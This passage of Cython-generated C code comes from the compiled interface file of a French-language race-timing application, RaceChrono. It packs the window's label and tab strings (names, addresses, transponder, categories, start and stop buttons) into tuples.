MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) * self.label_2.setText(_translate("MainWindow", "Numro:")) # <<<<<<<<<<<<<< * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) */ __pyx_tuple__607 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Numro); if (unlikely(!__pyx_tuple__607)) __PYX_ERR(0, 1008, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__607); __Pyx_GIVEREF(__pyx_tuple__607); /* "Ui_MainWindow.py":1009 * MainWindow.setWindowTitle(_translate("MainWindow", "RaceChrono (c) <NAME> 2018")) * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) # <<<<<<<<<<<<<< * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) */ __pyx_tuple__608 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Ajouter); if (unlikely(!__pyx_tuple__608)) __PYX_ERR(0, 1009, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__608); __Pyx_GIVEREF(__pyx_tuple__608); /* "Ui_MainWindow.py":1010 * self.label_2.setText(_translate("MainWindow", "Numro:")) * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) # <<<<<<<<<<<<<< * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) */ __pyx_tuple__609 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Effacer); if (unlikely(!__pyx_tuple__609)) __PYX_ERR(0, 1010, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__609); __Pyx_GIVEREF(__pyx_tuple__609); /* "Ui_MainWindow.py":1011 * self.RB_Add.setText(_translate("MainWindow", "Ajouter")) * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) */ __pyx_tuple__610 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Nom); if (unlikely(!__pyx_tuple__610)) __PYX_ERR(0, 1011, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__610); __Pyx_GIVEREF(__pyx_tuple__610); /* "Ui_MainWindow.py":1012 * self.RB_Del.setText(_translate("MainWindow", "Effacer")) * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) # <<<<<<<<<<<<<< * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) */ __pyx_tuple__611 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Prnom); if (unlikely(!__pyx_tuple__611)) __PYX_ERR(0, 1012, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__611); __Pyx_GIVEREF(__pyx_tuple__611); /* "Ui_MainWindow.py":1013 * self.label.setText(_translate("MainWindow", "Nom")) * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) # <<<<<<<<<<<<<< * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) */ __pyx_tuple__612 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Adresse); if (unlikely(!__pyx_tuple__612)) __PYX_ERR(0, 1013, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__612); __Pyx_GIVEREF(__pyx_tuple__612); /* "Ui_MainWindow.py":1014 * self.label_6.setText(_translate("MainWindow", "Prnom")) * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) # <<<<<<<<<<<<<< * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) */ __pyx_tuple__613 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Npa_Localit); if (unlikely(!__pyx_tuple__613)) __PYX_ERR(0, 1014, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__613); __Pyx_GIVEREF(__pyx_tuple__613); /* "Ui_MainWindow.py":1015 * self.label_13.setText(_translate("MainWindow", "Adresse")) * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) # <<<<<<<<<<<<<< * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) */ __pyx_tuple__614 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Pays); if (unlikely(!__pyx_tuple__614)) __PYX_ERR(0, 1015, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__614); __Pyx_GIVEREF(__pyx_tuple__614); /* "Ui_MainWindow.py":1016 * self.label_10.setText(_translate("MainWindow", "Npa/Localit")) * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) # <<<<<<<<<<<<<< * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) */ __pyx_tuple__615 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Date_naissance); if (unlikely(!__pyx_tuple__615)) __PYX_ERR(0, 1016, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__615); __Pyx_GIVEREF(__pyx_tuple__615); /* "Ui_MainWindow.py":1017 * self.label_14.setText(_translate("MainWindow", "Pays")) * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) # <<<<<<<<<<<<<< * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) */ __pyx_tuple__616 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_dd_MMMM_yyyy); if (unlikely(!__pyx_tuple__616)) __PYX_ERR(0, 1017, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__616); __Pyx_GIVEREF(__pyx_tuple__616); /* "Ui_MainWindow.py":1018 * self.label_12.setText(_translate("MainWindow", "Date naissance")) * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) # <<<<<<<<<<<<<< * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) */ __pyx_tuple__617 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Tlphones); if (unlikely(!__pyx_tuple__617)) __PYX_ERR(0, 1018, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__617); __Pyx_GIVEREF(__pyx_tuple__617); /* "Ui_MainWindow.py":1019 * self.R_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) # <<<<<<<<<<<<<< * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) */ __pyx_tuple__618 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Priv); if (unlikely(!__pyx_tuple__618)) __PYX_ERR(0, 1019, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__618); __Pyx_GIVEREF(__pyx_tuple__618); /* "Ui_MainWindow.py":1020 * self.label_15.setText(_translate("MainWindow", "Tlphones:")) * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) # <<<<<<<<<<<<<< * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) */ __pyx_tuple__619 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u__145); if (unlikely(!__pyx_tuple__619)) __PYX_ERR(0, 1020, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__619); __Pyx_GIVEREF(__pyx_tuple__619); /* "Ui_MainWindow.py":1021 * self.label_16.setText(_translate("MainWindow", "Priv:")) * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) # <<<<<<<<<<<<<< * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) */ __pyx_tuple__620 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Urgence); if (unlikely(!__pyx_tuple__620)) __PYX_ERR(0, 1021, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__620); __Pyx_GIVEREF(__pyx_tuple__620); /* "Ui_MainWindow.py":1022 * self.R_telephone.setInputMask(_translate("MainWindow", "+##/####/### ####")) * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) # <<<<<<<<<<<<<< * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) */ __pyx_tuple__621 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_E_Mail); if (unlikely(!__pyx_tuple__621)) __PYX_ERR(0, 1022, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__621); __Pyx_GIVEREF(__pyx_tuple__621); /* "Ui_MainWindow.py":1023 * self.label_17.setText(_translate("MainWindow", "Urgence:")) * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) # <<<<<<<<<<<<<< * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) */ __pyx_tuple__622 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Marque); if (unlikely(!__pyx_tuple__622)) __PYX_ERR(0, 1023, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__622); __Pyx_GIVEREF(__pyx_tuple__622); /* "Ui_MainWindow.py":1024 * self.label_3.setText(_translate("MainWindow", "E-Mail")) * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) # <<<<<<<<<<<<<< * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_tuple__623 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Numro_course); if (unlikely(!__pyx_tuple__623)) __PYX_ERR(0, 1024, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__623); __Pyx_GIVEREF(__pyx_tuple__623); /* "Ui_MainWindow.py":1025 * self.label_11.setText(_translate("MainWindow", "Marque")) * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) # <<<<<<<<<<<<<< * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) */ __pyx_tuple__624 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Licence_s); if (unlikely(!__pyx_tuple__624)) __PYX_ERR(0, 1025, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__624); __Pyx_GIVEREF(__pyx_tuple__624); /* "Ui_MainWindow.py":1026 * self.label_8.setText(_translate("MainWindow", "Numro course")) * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) */ __pyx_tuple__625 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Transpondeur); if (unlikely(!__pyx_tuple__625)) __PYX_ERR(0, 1026, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__625); __Pyx_GIVEREF(__pyx_tuple__625); /* "Ui_MainWindow.py":1027 * self.label_4.setText(_translate("MainWindow", "Licence(s)")) * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) */ __pyx_tuple__626 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Concurrents); if (unlikely(!__pyx_tuple__626)) __PYX_ERR(0, 1027, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__626); __Pyx_GIVEREF(__pyx_tuple__626); /* "Ui_MainWindow.py":1028 * self.label_7.setText(_translate("MainWindow", "Transpondeur")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) # <<<<<<<<<<<<<< * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) */ __pyx_tuple__627 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Catgories); if (unlikely(!__pyx_tuple__627)) __PYX_ERR(0, 1028, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__627); __Pyx_GIVEREF(__pyx_tuple__627); /* "Ui_MainWindow.py":1029 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer), _translate("MainWindow", "Concurrents")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) # <<<<<<<<<<<<<< * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) */ __pyx_tuple__628 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Numro); if (unlikely(!__pyx_tuple__628)) __PYX_ERR(0, 1029, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__628); __Pyx_GIVEREF(__pyx_tuple__628); /* "Ui_MainWindow.py":1030 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Category), _translate("MainWindow", "Catgories")) * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) */ __pyx_tuple__629 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Nom); if (unlikely(!__pyx_tuple__629)) __PYX_ERR(0, 1030, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__629); __Pyx_GIVEREF(__pyx_tuple__629); /* "Ui_MainWindow.py":1031 * self.label_33.setText(_translate("MainWindow", "Numro:")) * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) # <<<<<<<<<<<<<< * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) */ __pyx_tuple__630 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Prnom); if (unlikely(!__pyx_tuple__630)) __PYX_ERR(0, 1031, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__630); __Pyx_GIVEREF(__pyx_tuple__630); /* "Ui_MainWindow.py":1032 * self.label_34.setText(_translate("MainWindow", "Nom")) * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) # <<<<<<<<<<<<<< * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) */ __pyx_tuple__631 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Npa_Localit); if (unlikely(!__pyx_tuple__631)) __PYX_ERR(0, 1032, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__631); __Pyx_GIVEREF(__pyx_tuple__631); /* "Ui_MainWindow.py":1033 * self.label_35.setText(_translate("MainWindow", "Prnom")) * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) # <<<<<<<<<<<<<< * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) */ __pyx_tuple__632 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Pays); if (unlikely(!__pyx_tuple__632)) __PYX_ERR(0, 1033, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__632); __Pyx_GIVEREF(__pyx_tuple__632); /* "Ui_MainWindow.py":1034 * self.label_37.setText(_translate("MainWindow", "Npa/Localit")) * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) # <<<<<<<<<<<<<< * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) */ __pyx_tuple__633 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Date_naissance); if (unlikely(!__pyx_tuple__633)) __PYX_ERR(0, 1034, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__633); __Pyx_GIVEREF(__pyx_tuple__633); /* "Ui_MainWindow.py":1035 * self.label_38.setText(_translate("MainWindow", "Pays")) * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) # <<<<<<<<<<<<<< * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) */ __pyx_tuple__634 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_dd_MMMM_yyyy); if (unlikely(!__pyx_tuple__634)) __PYX_ERR(0, 1035, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__634); __Pyx_GIVEREF(__pyx_tuple__634); /* "Ui_MainWindow.py":1036 * self.label_39.setText(_translate("MainWindow", "Date naissance")) * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) # <<<<<<<<<<<<<< * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) */ __pyx_tuple__635 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Numro_course); if (unlikely(!__pyx_tuple__635)) __PYX_ERR(0, 1036, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__635); __Pyx_GIVEREF(__pyx_tuple__635); /* "Ui_MainWindow.py":1037 * self.RR_date.setDisplayFormat(_translate("MainWindow", "dd MMMM yyyy")) * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) # <<<<<<<<<<<<<< * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) */ __pyx_tuple__636 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Licence_s); if (unlikely(!__pyx_tuple__636)) __PYX_ERR(0, 1037, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__636); __Pyx_GIVEREF(__pyx_tuple__636); /* "Ui_MainWindow.py":1038 * self.label_45.setText(_translate("MainWindow", "Numro course")) * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) # <<<<<<<<<<<<<< * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) */ __pyx_tuple__637 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Transpondeur); if (unlikely(!__pyx_tuple__637)) __PYX_ERR(0, 1038, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__637); __Pyx_GIVEREF(__pyx_tuple__637); /* "Ui_MainWindow.py":1039 * self.label_46.setText(_translate("MainWindow", "Licence(s)")) * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) # <<<<<<<<<<<<<< * self.RR_Categorie.setSortingEnabled(True) * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) */ __pyx_tuple__638 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Catgorie); if (unlikely(!__pyx_tuple__638)) __PYX_ERR(0, 1039, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__638); __Pyx_GIVEREF(__pyx_tuple__638); /* "Ui_MainWindow.py":1040 * self.label_47.setText(_translate("MainWindow", "Transpondeur")) * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) # <<<<<<<<<<<<<< * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) * __sortingEnabled = self.RR_Categorie.isSortingEnabled() */ __pyx_tuple__639 = PyTuple_Pack(1, Py_True); if (unlikely(!__pyx_tuple__639)) __PYX_ERR(0, 1040, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__639); __Pyx_GIVEREF(__pyx_tuple__639); /* "Ui_MainWindow.py":1041 * self.label_48.setText(_translate("MainWindow", "Catgorie")) * self.RR_Categorie.setSortingEnabled(True) * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) # <<<<<<<<<<<<<< * __sortingEnabled = self.RR_Categorie.isSortingEnabled() * self.RR_Categorie.setSortingEnabled(False) */ __pyx_tuple__640 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Catgories); if (unlikely(!__pyx_tuple__640)) __PYX_ERR(0, 1041, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__640); __Pyx_GIVEREF(__pyx_tuple__640); /* "Ui_MainWindow.py":1043 * self.RR_Categorie.headerItem().setText(0, _translate("MainWindow", "Catgories")) * __sortingEnabled = self.RR_Categorie.isSortingEnabled() * self.RR_Categorie.setSortingEnabled(False) # <<<<<<<<<<<<<< * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) */ __pyx_tuple__641 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__641)) __PYX_ERR(0, 1043, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__641); __Pyx_GIVEREF(__pyx_tuple__641); /* "Ui_MainWindow.py":1045 * self.RR_Categorie.setSortingEnabled(False) * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) # <<<<<<<<<<<<<< * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) */ __pyx_tuple__642 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Participants); if (unlikely(!__pyx_tuple__642)) __PYX_ERR(0, 1045, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__642); __Pyx_GIVEREF(__pyx_tuple__642); /* "Ui_MainWindow.py":1046 * self.RR_Categorie.setSortingEnabled(__sortingEnabled) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) */ __pyx_tuple__643 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Modeles_Courses); if (unlikely(!__pyx_tuple__643)) __PYX_ERR(0, 1046, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__643); __Pyx_GIVEREF(__pyx_tuple__643); /* "Ui_MainWindow.py":1047 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_Racer_Race), _translate("MainWindow", "Participants")) * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) */ __pyx_tuple__644 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Menu_Options); if (unlikely(!__pyx_tuple__644)) __PYX_ERR(0, 1047, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__644); __Pyx_GIVEREF(__pyx_tuple__644); /* "Ui_MainWindow.py":1048 * self.Tab_Container.setTabText(self.Tab_Container.indexOf(self.T_RaceModel), _translate("MainWindow", "Modeles Courses")) * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) # <<<<<<<<<<<<<< * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) */ __pyx_tuple__645 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dure); if (unlikely(!__pyx_tuple__645)) __PYX_ERR(0, 1048, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__645); __Pyx_GIVEREF(__pyx_tuple__645); /* "Ui_MainWindow.py":1049 * self.B_Define.setItemText(0, _translate("MainWindow", "Menu Options")) * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) # <<<<<<<<<<<<<< * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) */ __pyx_tuple__646 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_kp_u_Sauvegade_des_Rsultats); if (unlikely(!__pyx_tuple__646)) __PYX_ERR(0, 1049, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__646); __Pyx_GIVEREF(__pyx_tuple__646); /* "Ui_MainWindow.py":1050 * self.B_Define.setItemText(1, _translate("MainWindow", "Dure")) * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) # <<<<<<<<<<<<<< * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) */ __pyx_tuple__647 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Dpart); if (unlikely(!__pyx_tuple__647)) __PYX_ERR(0, 1050, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__647); __Pyx_GIVEREF(__pyx_tuple__647); /* "Ui_MainWindow.py":1051 * self.B_Define.setItemText(2, _translate("MainWindow", "Sauvegade des Rsultats")) * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) # <<<<<<<<<<<<<< * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) */ __pyx_tuple__648 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_STOP); if (unlikely(!__pyx_tuple__648)) __PYX_ERR(0, 1051, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__648); __Pyx_GIVEREF(__pyx_tuple__648); /* "Ui_MainWindow.py":1052 * self.B_Start.setText(_translate("MainWindow", "Dpart")) * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) */ __pyx_tuple__649 = PyTuple_Pack(1, Py_False); if (unlikely(!__pyx_tuple__649)) __PYX_ERR(0, 1052, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__649); __Pyx_GIVEREF(__pyx_tuple__649); /* "Ui_MainWindow.py":1053 * self.B_Stop.setText(_translate("MainWindow", "STOP")) * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) # <<<<<<<<<<<<<< * item.setText(_translate("MainWindow", "Nom")) * item = self.R_RaceLive.horizontalHeaderItem(3) */ __pyx_tuple__650 = PyTuple_Pack(1, __pyx_int_2); if (unlikely(!__pyx_tuple__650)) __PYX_ERR(0, 1053, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__650); __Pyx_GIVEREF(__pyx_tuple__650); /* "Ui_MainWindow.py":1054 * self.R_RaceLive.setSortingEnabled(False) * item = self.R_RaceLive.horizontalHeaderItem(2) * item.setText(_translate("MainWindow", "Nom")) # <<<<<<<<<<<<<< * item = self.R_RaceLive.horizontalHeaderItem(3) * item.setText(_translate("MainWindow", "Laps")) */ __pyx_tuple__651 = PyTuple_Pack(2, __pyx_n_u_MainWindow, __pyx_n_u_Nom); if (unlikely(!__pyx_tuple__651)) __PYX_ERR(0, 1054, __pyx_L1_error) __Pyx_GOTREF(__pyx_tuple__651); 